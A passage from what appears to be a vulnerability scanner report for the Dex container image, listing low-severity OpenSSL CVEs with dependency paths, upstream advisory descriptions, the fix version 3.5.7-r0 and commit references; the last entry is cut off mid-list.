- https://github.com/openssl/security/commit/d93853c42110d6319e3df07842b488cb9f7ac5ff
- https://github.com/openssl/security/commit/da5d62af75f69d6fbf7803743d7c56ac75461e43
- https://github.com/openssl/security/commit/f696c73c3e61b8c502d040af62e690c060908a16
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/1c6908e4fa5fa568752221d8eaf561a809751e5d
- https://github.com/openssl/openssl/commit/cbe418ae978539cf14a398a207dba834c0e93e83
- https://github.com/openssl/openssl/commit/d93853c42110d6319e3df07842b488cb9f7ac5ff
- https://github.com/openssl/openssl/commit/da5d62af75f69d6fbf7803743d7c56ac75461e43
- https://github.com/openssl/openssl/commit/f696c73c3e61b8c502d040af62e690c060908a16

More about this vulnerability

## CVE-2026-34182

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue Summary: Cryptographic Message Services (CMS) processing fails to perform sufficient input validation on the cipher and tag length fields of AuthEnvelopedData containers, leading to various potential compromises.

Impact Summary: Attackers making use of these vulnerabilities may achieve key-equivalent functionality for a given CMS recipient and/or bypass integrity validation for a given message.

In one use case, an attacker may send a CMS message containing AuthEnvelopedData with the cipher specified as a non-AEAD cipher. OpenSSL erroneously allows this selection, and attempts to decrypt and validate the message.

An on-path attacker who captures one legitimate AES-GCM AuthEnvelopedData addressed to the victim can re-emit it with the recipientInfos set left byte-for-byte intact, so the victim's private key still unwraps the genuine CEK (the content-encryption key), but with the inner OID rewritten to AES-256-OFB (Output Feedback Mode, an unauthenticated keystream mode) and with an attacker-chosen IV and ciphertext. The victim initializes AES-256-OFB under the real CEK, never consults the MAC field, and CMS_decrypt() returns success.

If the application under attack responds to the attacker with any indicator showing success or failure of the decryption effort, it is possible for the attacker to use this as an oracle to obtain key equivalent functionality for the CEK used for the chosen recipient of the message.

In another use case, an attacker can reduce the tag length of the chosen AEAD cipher for a given AuthEnvelopedData container to be a single byte long, allowing an attacker to brute force CMS decryption, producing an integrity bypass for applications that trust CMS_decrypt() to reject modified content.

The FIPS modules are not affected by this issue.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/03c1f4d45fb963aee7d5833390c507cd290182bc
- https://github.com/openssl/security/commit/439ed7d2c0962ce964482727264668bf277c333f
- https://github.com/openssl/security/commit/7947e6a81eb8776802f159fb6762cb7fcf7e34c7
- https://github.com/openssl/security/commit/9fd97f8cfdc2c0be214998de3b2b55c8edf6c7ac
- https://github.com/openssl/security/commit/d2ca86bcd43e4f17d899f347101766b6107676e0
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/03c1f4d45fb963aee7d5833390c507cd290182bc
- https://github.com/openssl/openssl/commit/439ed7d2c0962ce964482727264668bf277c333f
- https://github.com/openssl/openssl/commit/7947e6a81eb8776802f159fb6762cb7fcf7e34c7
- https://github.com/openssl/openssl/commit/9fd97f8cfdc2c0be214998de3b2b55c8edf6c7ac
- https://github.com/openssl/openssl/commit/d2ca86bcd43e4f17d899f347101766b6107676e0

More about this vulnerability

## CVE-2026-42764

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: Receiving a QUIC initial packet with an invalid token may trigger a NULL pointer dereference in the OpenSSL QUIC server with address validation disabled.

Impact summary: NULL pointer dereference typically causes abnormal termination of the affected QUIC server process and a Denial of Service.

If the address validation is disabled in the OpenSSL QUIC server implementation, an attacker can crash the server by sending an initial packet with an invalid or expired token.

By default, the client address validation is enabled in the OpenSSL QUIC server implementation, which makes the default configuration not vulnerable to this issue. However if the SSL_LISTENER_FLAG_NO_VALIDATE is used with the SSL_new_listener() call, the address validation is disabled making the vulnerable code reachable.

The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/5e3ed291b8af0b03d5d3b9e56a1da69a187e9729
- https://github.com/openssl/security/commit/a45a0aba8095682c88ff4fc4a784892b8c6f0677
- https://github.com/openssl/security/commit/bf29a458c1a231eca87e384c62b9c2553fa57a91
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/5e3ed291b8af0b03d5d3b9e56a1da69a187e9729
- https://github.com/openssl/openssl/commit/a45a0aba8095682c88ff4fc4a784892b8c6f0677
- https://github.com/openssl/openssl/commit/bf29a458c1a231eca87e384c62b9c2553fa57a91

More about this vulnerability

## CVE-2026-42767

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: An attacker-controlled CMP (Certificate Management Protocol) server could trigger a NULL pointer dereference in a CMP client application.

Impact summary: A NULL pointer dereference causes a crash of the application and a Denial of Service.

An attacker controlling a CMP server (or acting as a man-in-the-middle) could craft a CMP response containing a CRMF (Certificate Request Message Format) CertRepMessage with an EncryptedValue structure where the symmAlg field has an algorithm OID but no parameters field. When the OpenSSL CMP client processes this response, the NULL dereference occurs, causing a crash of the CMP client.

Applications that process untrusted CMP/CRMF messages may be affected.

The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/61a86a8cd73546c9fea916f3d304c1293e05c046
- https://github.com/openssl/security/commit/665d5254083affde9982efca7c41dd01cacc8774
- https://github.com/openssl/security/commit/810b722f772652ad48042bcc7ab07e3414b11d0f
- https://github.com/openssl/security/commit/b90ff3b1bd33b1c18e6a09936d097c2eddef8873
- https://github.com/openssl/security/commit/e6f912907fc2ec82a0fd07aae55172c5e5e3d90d
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/61a86a8cd73546c9fea916f3d304c1293e05c046
- https://github.com/openssl/openssl/commit/665d5254083affde9982efca7c41dd01cacc8774
- https://github.com/openssl/openssl/commit/810b722f772652ad48042bcc7ab07e3414b11d0f
- https://github.com/openssl/openssl/commit/b90ff3b1bd33b1c18e6a09936d097c2eddef8873
- https://github.com/openssl/openssl/commit/e6f912907fc2ec82a0fd07aae55172c5e5e3d90d

More about this vulnerability

## CVE-2026-45447

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: A specially crafted PKCS#7 or S/MIME signed message could trigger a use-after-free during PKCS#7 signature verification.

Impact summary: A use-after-free may result in process crashes, heap corruption, or potentially remote code execution.

When processing a PKCS#7 or S/MIME signed message, if the SignedData digestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may incorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent use of the BIO by the calling application results in a use-after-free condition.

In the common case this occurs when the application later calls BIO_free() on the BIO originally passed to PKCS7_verify(). Depending on allocator behavior and application-specific BIO usage patterns, this may result in a crash or other memory corruption. In some application contexts this may potentially be exploitable for remote code execution.

Applications that process PKCS#7 or S/MIME signed messages using OpenSSL PKCS#7 APIs may be affected. Applications using the CMS APIs for this processing are not affected.

The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c
- https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8
- https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54
- https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c
- https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c
- https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8
- https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54
- https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c
- https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e

More about this vulnerability

## CVE-2026-7383

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: A signed integer overflow when sizing the destination buffer for Unicode output in ASN1_mbstring_ncopy() can lead to a heap buffer overflow.

Impact summary: A heap buffer overflow may lead to a crash or possibly attacker controlled code execution or other undefined behaviour.

In ASN1_mbstring_copy() and ASN1_mbstring_ncopy() the destination size for Unicode output is computed in a signed int: by left shift of the input character count for BMPSTRING (UTF-16) and UNIVERSALSTRING (UTF-32), and by summing per-character byte counts for UTF8STRING. The calculation overflows when the input reaches around 2^30 characters. In the worst case (UNIVERSALSTRING at 2^30 characters) the size wraps to zero, OPENSSL_malloc(1) is called, and the subsequent character copy writes several gigabytes past the one-byte allocation.

X.509 certificate processing routes through ASN1_STRING_set_by_NID(), whose DIRSTRING_TYPE mask excludes UNIVERSALSTRING and whose per-NID size limits cap the input length; no network protocol or certificate-handling path in OpenSSL exercises the overflow. Triggering the bug requires an application that calls ASN1_mbstring_copy() or ASN1_mbstring_ncopy() directly, or registers a custom string type via ASN1_STRING_TABLE_add(), with attacker-controlled input on the order of half a gigabyte or more. For these reasons this issue was assigned Low severity.

The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/4f8d2bddaa2c8e06f9c33390ee1717059a6e4be6
- https://github.com/openssl/security/commit/80c15faaf78042bbb8654a0e234c50c381732f74
- https://github.com/openssl/security/commit/bd17511070fb39a67bfa19682affb765e706a974
- https://github.com/openssl/security/commit/c332adaced43bcbb85f97410597e951c11ec3083
- https://github.com/openssl/security/commit/d32350ae8ef7426718f5aa9e383d4b51398ee255
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/4f8d2bddaa2c8e06f9c33390ee1717059a6e4be6
- https://github.com/openssl/openssl/commit/80c15faaf78042bbb8654a0e234c50c381732f74
- https://github.com/openssl/openssl/commit/bd17511070fb39a67bfa19682affb765e706a974
- https://github.com/openssl/openssl/commit/c332adaced43bcbb85f97410597e951c11ec3083
- https://github.com/openssl/openssl/commit/d32350ae8ef7426718f5aa9e383d4b51398ee255

More about this vulnerability

## CVE-2026-9076

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: When CMS password-based decryption (RFC 3211 / PWRI key unwrap) processes attacker-supplied CMS data, an attacker-chosen stream-mode KEK cipher can trigger a heap out-of-bounds read in kek_unwrap_key().

Impact summary: A heap buffer over-read may trigger a crash which leads to Denial of Service for an application if the input buffer ends at a memory page boundary and the following page is unmapped. There is no information disclosure as the over-read bytes are not revealed to the attacker.

The key unwrapping function performs a check-byte test as specified in the RFC that reads 7 bytes from a heap allocation that is based on the wrapped key length from the message. There is a minimum length check based on the block length of the wrapping cipher. However the cipher is selected from an OID carried in the attacker's PWRI keyEncryptionAlgorithm with no requirement that the cipher be a block cipher. When an attacker selects a stream-mode cipher the guard will be ineffective and the allocated buffer containing the unwrapped key can be too small to fit the check-bytes specified in the RFC and a buffer over-read can happen.

Applications calling CMS_decrypt() or CMS_decrypt_set1_password() (equivalently openssl cms -decrypt -pwri_password ...) on untrusted CMS data are vulnerable to this issue. No password knowledge is required: the over-read happens during the unwrap attempt before any authentication succeeds.

The over-read is limited to a few bytes and is not written to output, so there is no information disclosure. Triggering a crash requires the allocation to border unmapped memory, which is unlikely with the normal allocator.

The FIPS modules are not affected by this issue.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/05b066366842f930fadd9a6e94df98030af431bb
- https://github.com/openssl/security/commit/3d8d5bc1056b2f62da9fede23fedbf47e85187b0
- https://github.com/openssl/security/commit/715349a1d7c6db970e6815dafb90915f07307f98
- https://github.com/openssl/security/commit/77bf00ab13f6ff5e516535432f0328ed70ec0c26
- https://github.com/openssl/security/commit/eecbe330977e8d023aae1ca2d9bdbe983ef3fdc6
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/05b066366842f930fadd9a6e94df98030af431bb
- https://github.com/openssl/openssl/commit/3d8d5bc1056b2f62da9fede23fedbf47e85187b0
- https://github.com/openssl/openssl/commit/715349a1d7c6db970e6815dafb90915f07307f98
- https://github.com/openssl/openssl/commit/77bf00ab13f6ff5e516535432f0328ed70ec0c26
- https://github.com/openssl/openssl/commit/eecbe330977e8d023aae1ca2d9bdbe983ef3fdc6

More about this vulnerability

## CVE-2026-42769

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue Summary: An error in the callback used to verify the certificate provided in a Root CA key update Certificate Management Protocol (CMP) message response rendered the certificate validation ineffectual, which could lead to escalation of credentials from the Registration Authority (RA) level to the root Certification Authority (root CA) level.

Impact Summary: The Registration Autority could replace the root CA certificate for the CMP clients with an arbitrary root CA certificate.

One of the parts of the Certificate Management Protocol (CMP), specified in RFC 9810, is Root Certification Authority (root CA) key Rollover, which is sent by the server in a message with type 'id-it-rootCaKeyUpdate'. As part of these messages, 'newWithOld' certificate, the new root CA certificate signed with the old root CA key, is provided, and verifying its signature is crucial for transferring the trust from the old CA key to the new one.

The 'id-it-rootCaKeyUpdate' messages are expected to be processed with OSSL_CMP_get1_rootCaKeyUpdate(), that is expected to verify the 'newWithOld' certificate. A typo in the certificate chain building code led to adding an incorrect certificate ('newWithOld' instead of 'oldRoot') to the certificate chain, rendering the certificate verification process ineffectual (only the issuer name and the algorithm OIDs were verified by other parts of the verification code).

An attacker who already has credentials that satisfy the CMP message protection checks can generate a new key pair and use a crafted self-signed certificate in its 'id-it-rootCaKeyUpdate' CMP messages which affected CMP clients would accept as a new trust anchor.

Significant preconditions for the attack (having valid RA-level credentials) are the reason the issue was assigned Low severity.

The FIPS modules are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/54d0989997e5fc26057009a9782c3441ce3842fb
- https://github.com/openssl/security/commit/777b363b16fcf2153bb3ded39dc3838713667c44
- https://github.com/openssl/security/commit/d35cd473a271bf3ce7bf3d32af53217fb83ae92c
- https://github.com/openssl/security/commit/d531f21c0fe99067a66fc0ff1161ef127f9cd70b
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/54d0989997e5fc26057009a9782c3441ce3842fb
- https://github.com/openssl/openssl/commit/777b363b16fcf2153bb3ded39dc3838713667c44
- https://github.com/openssl/openssl/commit/d35cd473a271bf3ce7bf3d32af53217fb83ae92c
- https://github.com/openssl/openssl/commit/d531f21c0fe99067a66fc0ff1161ef127f9cd70b

More about this vulnerability

## CVE-2026-42766

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: A specially crafted password-encrypted CMS message can trigger a NULL pointer dereference during CMS decryption.

Impact summary: This NULL pointer dereference leads to an application crash and a Denial of Service.

The CMS PasswordRecipientInfo.keyDerivationAlgorithm field is defined as OPTIONAL in the ASN.1 specification and may therefore be absent in specially crafted inputs. During the password-based CMS decryption the OpenSSL CMS implementation dereferences this field without first checking whether it was present.

An attacker who supplies such a CMS message to an application performing password-based CMS decryption can trigger an application crash, leading to a Denial of Service.

Applications that process password-encrypted CMS messages may be affected.

The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/056d06c1918fafbb98c1c85a02e4c47cc4e199ce
- https://github.com/openssl/security/commit/12bc26ffb3a2be728c9b86e1cae277de5b33dfa4
- https://github.com/openssl/security/commit/3ff64913615d648cfbb6a6f1cf5529ae7ea829d7
- https://github.com/openssl/security/commit/ab52d88cb5374876d59aee3c91f9e4ccce2b7ce4
- https://github.com/openssl/security/commit/da26f368732b83e40e9d356fe61c3d3aaab6d2e8
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/056d06c1918fafbb98c1c85a02e4c47cc4e199ce
- https://github.com/openssl/openssl/commit/12bc26ffb3a2be728c9b86e1cae277de5b33dfa4
- https://github.com/openssl/openssl/commit/3ff64913615d648cfbb6a6f1cf5529ae7ea829d7
- https://github.com/openssl/openssl/commit/ab52d88cb5374876d59aee3c91f9e4ccce2b7ce4
- https://github.com/openssl/openssl/commit/da26f368732b83e40e9d356fe61c3d3aaab6d2e8

More about this vulnerability

## CVE-2026-42770

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
